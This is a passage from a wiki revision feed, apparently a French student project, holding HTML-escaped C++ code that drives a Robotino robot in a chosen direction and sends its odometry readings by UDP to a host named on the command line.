 	int nboctets=sendto(s,&amp;amp;message,taille,0,resultat-&amp;gt;ai_addr,resultat-&amp;gt;ai_addrlen);&lt;br /&gt;
 	if(nboctets&amp;lt;0){ perror(&amp;quot;messageUDPgenerique.sento&amp;quot;); exit(EXIT_FAILURE); }&lt;br /&gt;
 &lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Liberation de la structure d'informations */&amp;lt;/span&amp;gt;&lt;br /&gt;
 	freeaddrinfo(resultat);&lt;br /&gt;
 &lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Fermeture de la socket d'envoi */&amp;lt;/span&amp;gt;&lt;br /&gt;
 	close(s);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void sigint_handler( int signum )&lt;br /&gt;
 {&lt;br /&gt;
 	_run = false;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 class MyCom : public Com&lt;br /&gt;
 {&lt;br /&gt;
 public:&lt;br /&gt;
 	MyCom()&lt;br /&gt;
 	{&lt;br /&gt;
 	}&lt;br /&gt;
 	void errorEvent( const char* errorString )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cerr &amp;lt;&amp;lt; &amp;quot;Error: &amp;quot; &amp;lt;&amp;lt; errorString &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	void connectedEvent()&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;Connected.&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	void connectionClosedEvent()&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;Connection closed.&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	void logEvent( const char* message, int level )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; message &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	void pingEvent( float timeMs )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;Ping: &amp;quot; &amp;lt;&amp;lt; timeMs &amp;lt;&amp;lt; &amp;quot;ms&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 class MyBumper : public Bumper&lt;br /&gt;
 {&lt;br /&gt;
 public:&lt;br /&gt;
 	MyBumper()&lt;br /&gt;
 		: bumped( false )&lt;br /&gt;
 	{&lt;br /&gt;
 	}&lt;br /&gt;
 	void bumperEvent( bool hasContact )&lt;br /&gt;
 	{&lt;br /&gt;
 		bumped |= hasContact;&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;Bumper has &amp;quot; &amp;lt;&amp;lt; ( hasContact ? &amp;quot;contact&amp;quot; : &amp;quot;no contact&amp;quot;) &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	bool bumped;&lt;br /&gt;
 }; &lt;br /&gt;
 &lt;br /&gt;
 MyBumper bumper;&lt;br /&gt;
 MyCom com;&lt;br /&gt;
 OmniDrive omniDrive;&lt;br /&gt;
 Odometry odometry;&lt;br /&gt;
 &lt;br /&gt;
 void init( const std::string&amp;amp; hostname )&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Connect&amp;lt;/span&amp;gt;&lt;br /&gt;
 	std::cout &amp;lt;&amp;lt; &amp;quot;Connecting...&amp;quot;;&lt;br /&gt;
 	com.setAddress( hostname.c_str() );&lt;br /&gt;
 &lt;br /&gt;
 	com.connectToServer( true );&lt;br /&gt;
 &lt;br /&gt;
 	if( false == com.isConnected() )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; std::endl &amp;lt;&amp;lt; &amp;quot;Could not connect to &amp;quot; &amp;lt;&amp;lt; com.address() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		rec::robotino::api2::shutdown();&lt;br /&gt;
 		exit( 1 );&lt;br /&gt;
 	}&lt;br /&gt;
 	else&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;success&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		odometry.set(0,0,0,false);&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void move(char * hote)&lt;br /&gt;
 {&lt;br /&gt;
 	float mouvement[2] = {0.0f, 0.0f};&lt;br /&gt;
 	double x=0,y=0,phi=0,sep=0;&lt;br /&gt;
 	unsigned int *seq;&lt;br /&gt;
 	char *service=&amp;quot;5000&amp;quot;;&lt;br /&gt;
 	sep = 4000;&lt;br /&gt;
 	int t0=com.msecsElapsed(),t=0,dir=0;&lt;br /&gt;
 	&lt;br /&gt;
        &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Menu to choose direction&amp;lt;/span&amp;gt;&lt;br /&gt;
 	while (dir != 1 &amp;amp;&amp;amp; dir != 2 &amp;amp;&amp;amp; dir != 3 &amp;amp;&amp;amp; dir != 4 )&lt;br /&gt;
 	{	&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;which direction :&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;1 for front&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;2 for back&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;3 for left&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 		std::cout &amp;lt;&amp;lt; &amp;quot;and 4 for right&amp;quot; &amp;lt;&amp;lt; std::endl;	&lt;br /&gt;
 		std::cin &amp;gt;&amp;gt; dir;&lt;br /&gt;
 	}&lt;br /&gt;
 	&lt;br /&gt;
 	if (dir == 1)&lt;br /&gt;
 	{&lt;br /&gt;
 		mouvement[0]=0.2f;&lt;br /&gt;
 		mouvement[1]=0.0f;&lt;br /&gt;
 	}&lt;br /&gt;
 	else if (dir == 2)&lt;br /&gt;
 	{&lt;br /&gt;
 		mouvement[0]=-0.2f;&lt;br /&gt;
 		mouvement[1]=0.0f;&lt;br /&gt;
 	}&lt;br /&gt;
 	else if (dir == 3)&lt;br /&gt;
 	{&lt;br /&gt;
 		mouvement[0]=0.0f;&lt;br /&gt;
 		mouvement[1]=0.2f;&lt;br /&gt;
 	}&lt;br /&gt;
 	else if (dir == 4)&lt;br /&gt;
 	{&lt;br /&gt;
 		mouvement[0]=0.0f;&lt;br /&gt;
 		mouvement[1]=-0.2f;&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	while( com.isConnected() &amp;amp;&amp;amp; false == bumper.value() &amp;amp;&amp;amp; _run &amp;amp;&amp;amp; t&amp;lt;3000)&lt;br /&gt;
 	{ &lt;br /&gt;
 		omniDrive.setVelocity( mouvement[0], mouvement[1], 0 ); &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//set direction&amp;lt;/span&amp;gt;&lt;br /&gt;
 		com.processEvents();&lt;br /&gt;
 		&lt;br /&gt;
 		odometry.readings (&amp;amp;x,&amp;amp;y,&amp;amp;phi,seq);&lt;br /&gt;
                &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//send data with sep between each packet&amp;lt;/span&amp;gt;&lt;br /&gt;
 		messageUDP(hote,service,(float)x,sizeof(x));&lt;br /&gt;
 		messageUDP(hote,service,(float)y,sizeof(y));&lt;br /&gt;
 		messageUDP(hote,service,(float)phi,sizeof(phi));&lt;br /&gt;
 		messageUDP(hote,service,(float)sep,sizeof(sep));&lt;br /&gt;
 		odometry.set(0,0,0,false);&lt;br /&gt;
 		t=com.msecsElapsed()-t0; &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//compute time to move while t &amp;lt; 3 seconds&amp;lt;/span&amp;gt;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void destroy()&lt;br /&gt;
 {&lt;br /&gt;
 	com.disconnectFromServer();&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int main( int argc, char **argv )&lt;br /&gt;
 {&lt;br /&gt;
 	std::string hostname = &amp;quot;172.26.1.1&amp;quot;;&lt;br /&gt;
 	if( argc &amp;gt; 1 )&lt;br /&gt;
 	{&lt;br /&gt;
 		hostname = argv[1];&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	struct sigaction act;&lt;br /&gt;
 	memset( &amp;amp;act, 0, sizeof( act ) );&lt;br /&gt;
 	act.sa_handler = sigint_handler;&lt;br /&gt;
 	sigaction( SIGINT, &amp;amp;act, NULL );&lt;br /&gt;
 	char *hote = argv[2]; &lt;br /&gt;
 &lt;br /&gt;
 	try&lt;br /&gt;
 	{&lt;br /&gt;
 		init(hostname);&lt;br /&gt;
 		while( com.isConnected() &amp;amp;&amp;amp; false == bumper.value() &amp;amp;&amp;amp; _run)&lt;br /&gt;
 			move(hote);&lt;br /&gt;
 		destroy();&lt;br /&gt;
 	}&lt;br /&gt;
 	catch( const rec::robotino::api2::RobotinoException&amp;amp; e )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cerr &amp;lt;&amp;lt; &amp;quot;Com Error: &amp;quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	catch( const std::exception&amp;amp; e )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cerr &amp;lt;&amp;lt; &amp;quot;Error: &amp;quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 	catch( ... )&lt;br /&gt;
 	{&lt;br /&gt;
 		std::cerr &amp;lt;&amp;lt; &amp;quot;Unknow Error&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	rec::robotino::api2::shutdown();&lt;br /&gt;
 &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	</feed>